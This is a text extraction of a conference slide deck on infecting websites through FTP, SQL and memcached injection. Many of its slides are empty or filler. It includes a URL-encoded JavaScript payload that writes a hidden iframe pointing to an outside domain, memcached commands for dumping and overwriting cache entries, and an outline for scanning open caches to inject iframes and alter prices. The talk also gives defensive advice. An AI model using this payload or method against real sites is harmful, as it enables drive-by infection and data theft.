SlideShare a Scribd company logo
[FTP|SQL|Cache]
    Injections
   David Barroso
Head of Security Intelligence
  Telefonica Digital
ddddddasdfsdf
                      27%

                                73%




http://www.iframeinjectionattack.com/how-to-remove-this-site-may-harm-your-computer.html
Introduction

Cache basics

Demo

Summary
How can I infect a web?
Or, how can I forward visitors to a controlled webpage?




                                                          Pág. 4
MPack

          The attacker
          compromises a               Attacker
          website and injects                            The malcode
          an iFrame                                      connects back
                                                         to the C&C
                                                                         C&C

                                                     iFRAME

  Infection kit                  Servidor Web legítimo
                                 www.mydomain.com)


        The visitor is
        forwarded to an
        infection kit

                    The visitor browses a
                    normal website (with           User
                    a malicious iframe)
                                                                               Pág. 5
First option
Difficulty: easy




                   Pág. 6
Pág. 7
Pág. 8
SQL Injection
Difficulty: easy




                   Pág. 9
Pág. 10
Pág. 11
Pág. 12
Pág. 13
A tener en cuenta

 Which users do I want to infect?
    Focus your efforts
    Example: brazilian webpages
 SEO and web ranking
   Alexa Ranking
 It’s not only about infection
    Sometimes is only about web ranking
    Spam comments in blogs
    Playing with HTML entities(ex. <noscript>)


                                                     Pág. 14
                                                  Pág. 14
Second options
Difficulty: medium




                     Pág. 15
Pág. 16
Pág. 17
Pág. 18
Pág. 19
Pág. 20
Pág. 21
Choose your preferred
infection kit
99% LAMP: Linux + Apache + Mysql + PHP




                                         Pág. 22
Pág. 23
Pág. 24
Pág. 25
Pág. 26
Pág. 27
ddddddasdfsdf
 Simple: <iframe src=‘http://www.malicious.com’></iframe>

 Not so simple:

<Script Language='Javascript'>
          27%
          document.write(unescape('%3C%69%66%72%61%6D%65%20%73%72%6
                 73%
3%3D%20%68%74%74%70%3A%20%2F%2F%67%6F%6F%6F%6F%67%6C%65%
61%64%73%65%6E%63%65%2E%62%69%7A%2F%5F%63%6C%69%63%6B%3D
%38%46%39%44%41%20%20%77%69%64%74%68%3D%31%20%68%65%69%67
%68%74%3D%31%20%73%74%79%6C%65%3D%20%76%69%73%69%62%69%6
C%69%74%79%3A%68%69%64%64%65%6E%3B%70%6F%73%69%74%69%6F%
6E%3A%61%62%73%6F%6C%75%74%65%20%3E%3C%2F%69%66%72%61%6D
%65%3E'));
</Script>
And how a web cache is
related?
Specifically: memcached




                          Pág. 29
ddddddasdfsdf
Cache
 A component that transparently stores data so that future
  requests for that data can be served faster. The data that is
  stored within a cache might be values that have been
  computed earlier or duplicates of original values that are
  stored27%
         elsewhere. (Wikipedia)

               73%
 Examples: CPU, Disk, DNS, ARP, etc.

 Main security attack: poisoning
ddddddasdfsdf
                      73%
                27%
ddddddasdfsdf
             Created on 2003 forLiveJournal
             Associative array(hash table)
             YouTube, Reddit, FaceBook,
              Orange, Twitter, etc.
27%          Memory-based
             Keys (250b), Values (1MB)
      73%    Default port: 11211/tcp

             No authentication
             Some caches are on the Internet
             Optional(not often used): SASL
ddddddasdfsdf
 Telnet based commands
 Commands
    Set (flags timeout bytes)
    Get
    Stats
        27%
        Items
        Cachedump
             73%
ddddddasdfsdf
 Sensepost analyzed the security issues back on 2010
 They developed go-derper.rb
    Identifcation
    Storage of k keys and values
    Regular expressiones
        27%
    It can overwrite existing keys and values
             73%
 Main problems
    Which web app is using these data?
    How can I find ‘interesting’ data?
[FTP|SQL|Cache] Injections
Infections

iFrame/JS malicious
injection




Confidential information

Passwords
Prices!
Let’s see some practical
stuff
Take care with all those memcached!




                                      Pág. 37
ddddddasdfsdf
Demo
 Memcached access
   27%
 Key/value storage
     73%
ddddddasdfsdf
 set FIRST 0 0 11
    Hello FIRST
 get FIRST

 stats items
        27%
 stats cachedump n 10
             73%
ddddddasdfsdf
Demo
 Overwriting values
   27%
 (iFrame – infection kit)
      73%
ddddddasdfsdf
 iFrame injection




        27%

              73%
ddddddasdfsdf
Demo
 Password sniffing
   27%
 Data mangling (prices)
      73%
ddddddasdfsdf
 Password sniffing




        27%

              73%
ddddddasdfsdf
 Data mangling (prices)




        27%

              73%
ddddddasdfsdf
 Data mangling (prices)




        27%

              73%
ddddddasdfsdf
              27%

                    73%




Source: http://www.sensepost.com/blog/4873.html
ddddddasdfsdf
 CacheT: an alternative to FTP-Toolz
  and SQL Injection Kitz

 go-derper.rb patch
 Proof of concept
         27%
 Once you find some memcached
  hosts(nmap) 73% entries
    Dump of all their
    Look for HTML data
    Malicious injection
      (iFrame/JavaScript)
 Not published yet (only malicious
  purposes)
ddddddasdfsdf
 Protect your memcached from external access
     Firewall
     Listen only to localhost
 We haven’t seen malicious infections using theses caches
     But it’s a very attractive asset, because many of the large
          27%
        websites are using it
     From the malicious point of view, it doesn’t mind if you don’t
               73%
        know which webapp is behind
 It’s very easy to code a tool scanning for open memcached (or
  similar caches) and then infect all of them
     nmap + go-derper.rb
Obrigado
David Barroso
   @lostinsecurity

More Related Content

PPTX
MMW Anti-Sandbox Techniques
PDF
Malware Detection With Multiple Features
PDF
Grails vs XSS: Defending Grails against XSS attacks
PPTX
Breaking the cyber kill chain!
PPTX
Crypto failures every developer should avoid
PDF
XSS Countermeasures in Grails
PDF
Adaptive Defense - Understanding Cyber Attacks
PDF
Security Bootcamp 2013 - Automated malware analysis - Nguyễn Chấn Việt
MMW Anti-Sandbox Techniques
Malware Detection With Multiple Features
Grails vs XSS: Defending Grails against XSS attacks
Breaking the cyber kill chain!
Crypto failures every developer should avoid
XSS Countermeasures in Grails
Adaptive Defense - Understanding Cyber Attacks
Security Bootcamp 2013 - Automated malware analysis - Nguyễn Chấn Việt

Viewers also liked (17)

PDF
Lionel Denisefrench Contemporary Artist
PPTX
My Life: by Christopher Dyson
PPT
Prezentarea oportunitatea cci
PPTX
Riesgos físicos
PDF
Knye journal-tpd2016 (2)
PPTX
Powertpointcontiempo
PDF
Transkrip Nilai
PPTX
Final portfolio
PPT
Cont_Perf_Improv_ws
PDF
MS_Thesis
PPSX
Hakuna Matata
PDF
Lemken smaragd 7-300 parts catalog
PDF
KAP 업종별기술세미나 11년 4월 #02
PPT
KAP 업종별기술세미나 02월 #1
PPTX
water treatment
PPT
Yersinia - Demostraciones prácticas de nuevos ataques de nivel dos
PDF
Diário Oficial: 29-12-2015
Lionel Denisefrench Contemporary Artist
My Life: by Christopher Dyson
Prezentarea oportunitatea cci
Riesgos físicos
Knye journal-tpd2016 (2)
Powertpointcontiempo
Transkrip Nilai
Final portfolio
Cont_Perf_Improv_ws
MS_Thesis
Hakuna Matata
Lemken smaragd 7-300 parts catalog
KAP 업종별기술세미나 11년 4월 #02
KAP 업종별기술세미나 02월 #1
water treatment
Yersinia - Demostraciones prácticas de nuevos ataques de nivel dos
Diário Oficial: 29-12-2015
Ad

Similar to [FTP|SQL|Cache] Injections (20)

PDF
Serverless Security: Defence Against the Dark Arts
PDF
Minor Mistakes In Web Portals
PDF
How to secure web applications
PDF
[ITAS.VN]CheckMarx-CxSuite-Sample result for webgoat5.3rc1
PDF
Android Hacking
PDF
Web Application Security
PPTX
Java/Scala Lab 2016. Владимир Гарбуз: Написание безопасного кода на Java.
PPTX
Vulnerabilities of machine learning infrastructure
PPT
Renaud Bido & Mohammad Shams - Hijacking web servers & clients
PPTX
AktaionPPTv5_JZedits
PDF
Identity Providers-as-a-Service built as Cloud-of-Clouds: challenges and oppo...
PDF
Web Intrusion Detection
PPTX
Hardening Enterprise Apache
PPS
Hacking Client Side Insecurities
PDF
Advanced Malware Analysis
PDF
TRISC 2010 - Grapevine , Texas
PDF
Scaling Web 2.0 Malware Infection
PDF
Advanced System Security and Digital Forensics
PPTX
Application and Website Security -- Fundamental Edition
PPT
The Top 10/20 Internet Security Vulnerabilities – A Primer
Serverless Security: Defence Against the Dark Arts
Minor Mistakes In Web Portals
How to secure web applications
[ITAS.VN]CheckMarx-CxSuite-Sample result for webgoat5.3rc1
Android Hacking
Web Application Security
Java/Scala Lab 2016. Владимир Гарбуз: Написание безопасного кода на Java.
Vulnerabilities of machine learning infrastructure
Renaud Bido & Mohammad Shams - Hijacking web servers & clients
AktaionPPTv5_JZedits
Identity Providers-as-a-Service built as Cloud-of-Clouds: challenges and oppo...
Web Intrusion Detection
Hardening Enterprise Apache
Hacking Client Side Insecurities
Advanced Malware Analysis
TRISC 2010 - Grapevine , Texas
Scaling Web 2.0 Malware Infection
Advanced System Security and Digital Forensics
Application and Website Security -- Fundamental Edition
The Top 10/20 Internet Security Vulnerabilities – A Primer
Ad

More from David Barroso (11)

PDF
El replanteamiento de la ciberseguridad
PPTX
OPSEC - Amanece que no es poco
PPTX
Infección en BIOS, UEFI y derivados
PPTX
En la época post-Snowden, ¿es la seguridad importante?
PPTX
Ataques dirigidos contra activistas
PPTX
Un gentil viaje al interior de las extorsiones mediante DDoS
PDF
Common Browser Hijacking Methods
PPT
Recursos de la economía sumergida
PPTX
Extorsiones mediante DDoS
PPTX
Respuesta ágil ante incidentes
PPT
iPhone + Botnets = Fun
El replanteamiento de la ciberseguridad
OPSEC - Amanece que no es poco
Infección en BIOS, UEFI y derivados
En la época post-Snowden, ¿es la seguridad importante?
Ataques dirigidos contra activistas
Un gentil viaje al interior de las extorsiones mediante DDoS
Common Browser Hijacking Methods
Recursos de la economía sumergida
Extorsiones mediante DDoS
Respuesta ágil ante incidentes
iPhone + Botnets = Fun

Recently uploaded (20)

PDF
Blue Purple Modern Animated Computer Science Presentation.pdf.pdf
PDF
Shreyas Phanse Resume: Experienced Backend Engineer | Java • Spring Boot • Ka...
PDF
Building Integrated photovoltaic BIPV_UPV.pdf
PDF
Peak of Data & AI Encore- AI for Metadata and Smarter Workflows
PPTX
Cloud computing and distributed systems.
PPTX
Detection-First SIEM: Rule Types, Dashboards, and Threat-Informed Strategy
PDF
TokAI - TikTok AI Agent : The First AI Application That Analyzes 10,000+ Vira...
PDF
Encapsulation theory and applications.pdf
PDF
Encapsulation_ Review paper, used for researhc scholars
PDF
Empathic Computing: Creating Shared Understanding
PPTX
Digital-Transformation-Roadmap-for-Companies.pptx
PDF
Electronic commerce courselecture one. Pdf
PDF
Approach and Philosophy of On baking technology
PDF
Machine learning based COVID-19 study performance prediction
PDF
NewMind AI Monthly Chronicles - July 2025
PDF
Network Security Unit 5.pdf for BCA BBA.
PDF
Chapter 3 Spatial Domain Image Processing.pdf
PDF
Agricultural_Statistics_at_a_Glance_2022_0.pdf
PDF
Review of recent advances in non-invasive hemoglobin estimation
PDF
7 ChatGPT Prompts to Help You Define Your Ideal Customer Profile.pdf
Blue Purple Modern Animated Computer Science Presentation.pdf.pdf
Shreyas Phanse Resume: Experienced Backend Engineer | Java • Spring Boot • Ka...
Building Integrated photovoltaic BIPV_UPV.pdf
Peak of Data & AI Encore- AI for Metadata and Smarter Workflows
Cloud computing and distributed systems.
Detection-First SIEM: Rule Types, Dashboards, and Threat-Informed Strategy
TokAI - TikTok AI Agent : The First AI Application That Analyzes 10,000+ Vira...
Encapsulation theory and applications.pdf
Encapsulation_ Review paper, used for researhc scholars
Empathic Computing: Creating Shared Understanding
Digital-Transformation-Roadmap-for-Companies.pptx
Electronic commerce courselecture one. Pdf
Approach and Philosophy of On baking technology
Machine learning based COVID-19 study performance prediction
NewMind AI Monthly Chronicles - July 2025
Network Security Unit 5.pdf for BCA BBA.
Chapter 3 Spatial Domain Image Processing.pdf
Agricultural_Statistics_at_a_Glance_2022_0.pdf
Review of recent advances in non-invasive hemoglobin estimation
7 ChatGPT Prompts to Help You Define Your Ideal Customer Profile.pdf

[FTP|SQL|Cache] Injections